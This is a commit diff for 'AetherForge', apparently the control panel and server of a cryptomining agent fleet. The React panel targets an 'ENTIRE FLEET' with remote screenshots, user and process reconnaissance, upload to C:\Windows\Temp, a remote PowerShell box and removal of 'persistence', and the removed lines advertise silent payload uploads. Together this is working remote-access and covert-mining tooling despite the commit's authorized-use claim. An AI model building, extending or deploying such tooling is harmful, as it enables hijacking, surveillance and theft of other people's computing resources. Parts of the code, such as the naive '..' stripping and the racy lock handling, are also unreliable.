Fix build blockers and rewrite README with authorized-use warning.
Restore server/agent compile fixes, wire remote actions end-to-end, harden run.bat, and document AetherForge with a severity-ranked audit in PROBLEMS.md.
This commit is contained in:
@@ -23,13 +23,18 @@ import (
|
||||
// AIHandler manages AI autonomy endpoints.
|
||||
type AIHandler struct {
|
||||
db *db.Database
|
||||
engines map[string]*ollama.Engine // agentID -> engine (each agent can have its own Ollama config)
|
||||
reports []ollama.Report // recent tool execution reports
|
||||
engines map[string]*agentEngine // agentID -> engine wrapper
|
||||
reports []ollama.Report // recent tool execution reports
|
||||
activity map[string]AIActivityEntry
|
||||
onEvent func(AIActivityEntry)
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
type agentEngine struct {
|
||||
engine *ollama.Engine
|
||||
lastUsed time.Time
|
||||
}
|
||||
|
||||
// AIActivityEntry summarizes recent AI cycles per agent.
|
||||
type AIActivityEntry struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
@@ -44,12 +49,34 @@ type AIActivityEntry struct {
|
||||
|
||||
// NewAIHandler creates a new AI handler.
|
||||
func NewAIHandler(database *db.Database) *AIHandler {
|
||||
return &AIHandler{
|
||||
h := &AIHandler{
|
||||
db: database,
|
||||
engines: make(map[string]*ollama.Engine),
|
||||
engines: make(map[string]*agentEngine),
|
||||
reports: make([]ollama.Report, 0, 1000),
|
||||
activity: make(map[string]AIActivityEntry),
|
||||
}
|
||||
go h.runCleanupLoop()
|
||||
return h
|
||||
}
|
||||
|
||||
func (h *AIHandler) runCleanupLoop() {
|
||||
ticker := time.NewTicker(10 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
h.mu.Lock()
|
||||
now := time.Now()
|
||||
for id, eng := range h.engines {
|
||||
if now.Sub(eng.lastUsed) > 1*time.Hour {
|
||||
delete(h.engines, id)
|
||||
}
|
||||
}
|
||||
for id, act := range h.activity {
|
||||
if now.Sub(act.LastReportAt) > 24*time.Hour && now.Sub(act.LastDecideAt) > 24*time.Hour {
|
||||
delete(h.activity, id)
|
||||
}
|
||||
}
|
||||
h.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (h *AIHandler) SetEventBroadcaster(fn func(AIActivityEntry)) {
|
||||
@@ -71,7 +98,10 @@ func (h *AIHandler) SetEngineForAgent(agentID, ollamaEndpoint, model string) {
|
||||
model = "llama3.2"
|
||||
}
|
||||
|
||||
h.engines[agentID] = ollama.NewEngine(ollamaEndpoint, model)
|
||||
h.engines[agentID] = &agentEngine{
|
||||
engine: ollama.NewEngine(ollamaEndpoint, model),
|
||||
lastUsed: time.Now(),
|
||||
}
|
||||
log.Printf("[AI] Engine set for agent %s (endpoint=%s, model=%s)", agentID, ollamaEndpoint, model)
|
||||
}
|
||||
|
||||
@@ -86,7 +116,15 @@ func (h *AIHandler) RemoveEngine(agentID string) {
|
||||
func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return h.engines[agentID]
|
||||
if entry, ok := h.engines[agentID]; ok {
|
||||
h.mu.RUnlock() // Briefly unlock to update timestamp
|
||||
h.mu.Lock()
|
||||
entry.lastUsed = time.Now()
|
||||
h.mu.Unlock()
|
||||
h.mu.RLock()
|
||||
return entry.engine
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// HandleDecide handles POST /api/v1/agent/decide
|
||||
|
||||
@@ -203,6 +203,8 @@ func sanitizeFilename(name string) string {
|
||||
// Trim spaces and dots
|
||||
name = strings.TrimSpace(name)
|
||||
name = strings.Trim(name, ".")
|
||||
// Prevent explicit traversal sequences
|
||||
name = strings.ReplaceAll(name, "..", "")
|
||||
// Limit length
|
||||
if len(name) > 100 {
|
||||
name = name[:100]
|
||||
|
||||
@@ -189,6 +189,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.mu.Lock()
|
||||
delete(h.agents, agentID)
|
||||
delete(h.agentConfigs, agentID)
|
||||
delete(h.agentLogs, agentID)
|
||||
h.mu.Unlock()
|
||||
if h.aiHandler != nil {
|
||||
h.aiHandler.RemoveEngine(agentID)
|
||||
@@ -629,3 +630,15 @@ func (h *WSHub) BroadcastPoolStatus(status interface{}) {
|
||||
func (h *WSHub) BroadcastAIActivity(entry interface{}) {
|
||||
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
|
||||
}
|
||||
|
||||
// BroadcastServerLog streams a server log line to connected dashboards.
|
||||
func (h *WSHub) BroadcastServerLog(line string) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
return
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "server_log",
|
||||
Payload: mustMarshal(map[string]string{"line": line}),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -212,6 +212,13 @@ Rules:
|
||||
if end >= 0 {
|
||||
content = strings.TrimSpace(content[idx+3 : idx+3+end])
|
||||
}
|
||||
} else {
|
||||
// Fallback: forcefully extract the outermost JSON object if markdown tags are missing
|
||||
if startIdx := strings.Index(content, "{"); startIdx >= 0 {
|
||||
if endIdx := strings.LastIndex(content, "}"); endIdx >= startIdx {
|
||||
content = content[startIdx : endIdx+1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if err := json.Unmarshal([]byte(content), &decideResp); err != nil {
|
||||
|
||||
@@ -1,69 +1,105 @@
|
||||
import React, { useState, useRef, useEffect } from 'react';
|
||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, WSMessage } from '../../types';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
interface Props {
|
||||
agentId: string;
|
||||
agentName: string;
|
||||
// Pass your live websocket messages here to capture screenshots and command output!
|
||||
latestWsMessage?: any;
|
||||
/** Legacy: pass full agent object from list/detail pages */
|
||||
agent?: Agent;
|
||||
agentId?: string;
|
||||
agentName?: string;
|
||||
compact?: boolean;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
}
|
||||
|
||||
export default function AgentRemoteActions({ agentId, agentName, latestWsMessage }: Props) {
|
||||
export default function AgentRemoteActions({
|
||||
agent,
|
||||
agentId: agentIdProp,
|
||||
agentName: agentNameProp,
|
||||
compact = false,
|
||||
latestWsMessage,
|
||||
onCommandSent,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
||||
const online = agent?.status !== 'offline';
|
||||
|
||||
const [isDragging, setIsDragging] = useState(false);
|
||||
const [customCmd, setCustomCmd] = useState('');
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const logEndRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
const addLog = (msg: string) => {
|
||||
setTerminalLog(prev => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]);
|
||||
};
|
||||
const addLog = useCallback((msg: string) => {
|
||||
setTerminalLog((prev) => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]);
|
||||
}, []);
|
||||
|
||||
// Auto-scroll terminal
|
||||
useEffect(() => {
|
||||
logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
||||
}, [terminalLog]);
|
||||
|
||||
// Intercept WebSocket results
|
||||
useEffect(() => {
|
||||
if (!latestWsMessage) return;
|
||||
if (latestWsMessage.type === 'command_result') {
|
||||
const { agent_id, action, success, message } = latestWsMessage.payload;
|
||||
if (agentId !== 'all' && agent_id !== agentId) return; // Ignore other agents if focused
|
||||
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
||||
const payload = latestWsMessage.payload as {
|
||||
agent_id?: string;
|
||||
action?: string;
|
||||
success?: boolean;
|
||||
message?: string;
|
||||
};
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
||||
|
||||
if (action === 'screenshot' && success) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||
addLog(`📷 Screenshot received from ${agent_id}`);
|
||||
} else {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'} \n${message}`);
|
||||
}
|
||||
if (action === 'screenshot' && success && message) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||
addLog(`Screenshot received from ${agent_id}`);
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
}
|
||||
}, [latestWsMessage, agentId]);
|
||||
}, [latestWsMessage, agentId, addLog]);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, any> = {}) => {
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
addLog('No agent selected');
|
||||
return;
|
||||
}
|
||||
if (agent && !online) {
|
||||
addLog('Agent is offline');
|
||||
return;
|
||||
}
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||
|
||||
setBusy(action);
|
||||
try {
|
||||
addLog(`> Executing ${action}...`);
|
||||
if (!compact) addLog(`> Executing ${action}...`);
|
||||
await api.sendAgentCommand(agentId, action, args);
|
||||
} catch (err: any) {
|
||||
addLog(`❌ API Error: ${err.message}`);
|
||||
onCommandSent?.(action);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Command failed';
|
||||
addLog(`API Error: ${msg}`);
|
||||
} finally {
|
||||
setBusy(null);
|
||||
}
|
||||
};
|
||||
|
||||
// Drag and Drop Handlers
|
||||
const handleDragOver = (e: React.DragEvent) => { e.preventDefault(); setIsDragging(true); };
|
||||
const handleDragOver = (e: React.DragEvent) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
setIsDragging(true);
|
||||
};
|
||||
const handleDragLeave = () => setIsDragging(false);
|
||||
const handleDrop = (e: React.DragEvent) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
setIsDragging(false);
|
||||
const file = e.dataTransfer.files[0];
|
||||
if (!file) return;
|
||||
|
||||
const reader = new FileReader();
|
||||
reader.onload = async (evt) => {
|
||||
const base64 = (evt.target?.result as string).split(',')[1];
|
||||
const targetPath = `C:\\Windows\\Temp\\${file.name}`;
|
||||
addLog(`> Uploading ${file.name} to ${targetPath}...`);
|
||||
await dispatch('upload', { path: targetPath, data: base64 });
|
||||
};
|
||||
reader.readAsDataURL(file);
|
||||
@@ -76,76 +112,84 @@ export default function AgentRemoteActions({ agentId, agentName, latestWsMessage
|
||||
setCustomCmd('');
|
||||
};
|
||||
|
||||
if (compact) {
|
||||
return (
|
||||
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
||||
<div className="agent-remote-row">
|
||||
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="agent-action-btn warn" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const isFleet = agentId === 'all';
|
||||
|
||||
return (
|
||||
<div className="tactical-panel">
|
||||
<div className="tactical-header">
|
||||
<div className="target-indicator">
|
||||
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`}></div>
|
||||
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`} />
|
||||
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="tactical-grid">
|
||||
{/* Reconnaissance Group */}
|
||||
<div className="action-group recon-group">
|
||||
<h3>👁️ Recon & Intel</h3>
|
||||
<h3>Recon & Intel</h3>
|
||||
<div className="button-grid">
|
||||
<button onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||
<button onClick={() => dispatch('users')}>List Users</button>
|
||||
<button onClick={() => dispatch('software')}>Installed Software</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Mining Controls */}
|
||||
<div className="action-group mining-group">
|
||||
<h3>⛏️ Mining Controls</h3>
|
||||
<h3>Mining Controls</h3>
|
||||
<div className="button-grid">
|
||||
<button className="btn-cyan" onClick={() => dispatch('resume')}>▶ Resume</button>
|
||||
<button className="btn-amber" onClick={() => dispatch('pause')}>⏸ Pause</button>
|
||||
<button type="button" className="btn-cyan" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Power Controls */}
|
||||
<div className="action-group power-group">
|
||||
<h3>⚠️ System Power</h3>
|
||||
<h3>System Power</h3>
|
||||
<div className="button-grid">
|
||||
<button className="btn-amber" onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button className="btn-red" onClick={() => { if(window.confirm('Kill agent process?')) dispatch('stop'); }}>Kill Process</button>
|
||||
<button className="btn-red" onClick={() => { if(window.confirm('Delete and remove persistence?')) dispatch('uninstall'); }}>Uninstall</button>
|
||||
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Visual Render Zone (Screenshots) */}
|
||||
{screenshotData && (
|
||||
<div className="screenshot-viewer">
|
||||
<div className="viewer-header">
|
||||
<span>Latest Capture</span>
|
||||
<button onClick={() => setScreenshotData(null)}>✕</button>
|
||||
<button type="button" onClick={() => setScreenshotData(null)}>✕</button>
|
||||
</div>
|
||||
<img src={screenshotData} alt="Target Desktop" />
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="tactical-bottom-row">
|
||||
{/* Drag & Drop Upload Zone */}
|
||||
<div
|
||||
<div
|
||||
className={`drop-zone ${isDragging ? 'dragging' : ''}`}
|
||||
onDragOver={handleDragOver}
|
||||
onDragLeave={handleDragLeave}
|
||||
onDrop={handleDrop}
|
||||
>
|
||||
<span className="drop-icon">📥</span>
|
||||
<p>Drag & Drop payload here</p>
|
||||
<small>Silently uploads to C:\Windows\Temp\</small>
|
||||
<p>Drag & Drop file here</p>
|
||||
<small>Uploads to C:\Windows\Temp\</small>
|
||||
</div>
|
||||
|
||||
{/* Master Terminal */}
|
||||
<div className="master-terminal">
|
||||
<div className="terminal-output">
|
||||
{terminalLog.length === 0 ? (
|
||||
@@ -157,17 +201,18 @@ export default function AgentRemoteActions({ agentId, agentName, latestWsMessage
|
||||
</div>
|
||||
<form className="terminal-input-bar" onSubmit={runCustomCommand}>
|
||||
<span className="prompt">PS></span>
|
||||
<input
|
||||
type="text"
|
||||
<input
|
||||
type="text"
|
||||
value={customCmd}
|
||||
onChange={e => setCustomCmd(e.target.value)}
|
||||
onChange={(e) => setCustomCmd(e.target.value)}
|
||||
placeholder="Enter PowerShell command..."
|
||||
autoComplete="off"
|
||||
disabled={!online}
|
||||
/>
|
||||
<button type="submit">EXEC</button>
|
||||
<button type="submit" disabled={!online}>EXEC</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -13,6 +13,7 @@ interface UseWebSocketReturn {
|
||||
poolStatus: PoolStatus[];
|
||||
aiActivity: AIActivityEntry[];
|
||||
agentLogs: Record<string, string>;
|
||||
latestMessage: WSMessage | null;
|
||||
}
|
||||
|
||||
export function useWebSocket(): UseWebSocketReturn {
|
||||
@@ -26,6 +27,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
const [poolStatus, setPoolStatus] = useState<PoolStatus[]>([]);
|
||||
const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]);
|
||||
const [agentLogs, setAgentLogs] = useState<Record<string, string>>({});
|
||||
const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null);
|
||||
|
||||
const connect = useCallback(() => {
|
||||
if (unmounted.current) return;
|
||||
@@ -53,6 +55,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
const msg: WSMessage = JSON.parse(event.data);
|
||||
setLatestMessage(msg);
|
||||
|
||||
switch (msg.type) {
|
||||
case 'init': {
|
||||
@@ -133,6 +136,16 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'command_result': {
|
||||
const { agent_id } = msg.payload as { agent_id?: string };
|
||||
if (agent_id && msg.payload && typeof msg.payload === 'object') {
|
||||
const p = msg.payload as { action?: string; message?: string; success?: boolean };
|
||||
if (p.action === 'get_log' && p.success && p.message) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'agent_log': {
|
||||
const { agent_id, content } = msg.payload as { agent_id: string; content: string };
|
||||
if (agent_id) {
|
||||
@@ -163,5 +176,5 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
};
|
||||
}, [connect]);
|
||||
|
||||
return { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity, agentLogs };
|
||||
return { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity, agentLogs, latestMessage };
|
||||
}
|
||||
|
||||
@@ -10,7 +10,7 @@ import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
export default function AgentsPage() {
|
||||
const { agents: liveAgents, isConnected, agentLogs } = useWebSocket();
|
||||
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||
@@ -221,7 +221,8 @@ export default function AgentsPage() {
|
||||
<h3>Remote Control</h3>
|
||||
<AgentRemoteActions
|
||||
agent={selectedAgent}
|
||||
onCommandSent={(action) => {
|
||||
latestWsMessage={latestMessage}
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
}}
|
||||
/>
|
||||
|
||||
Reference in New Issue
Block a user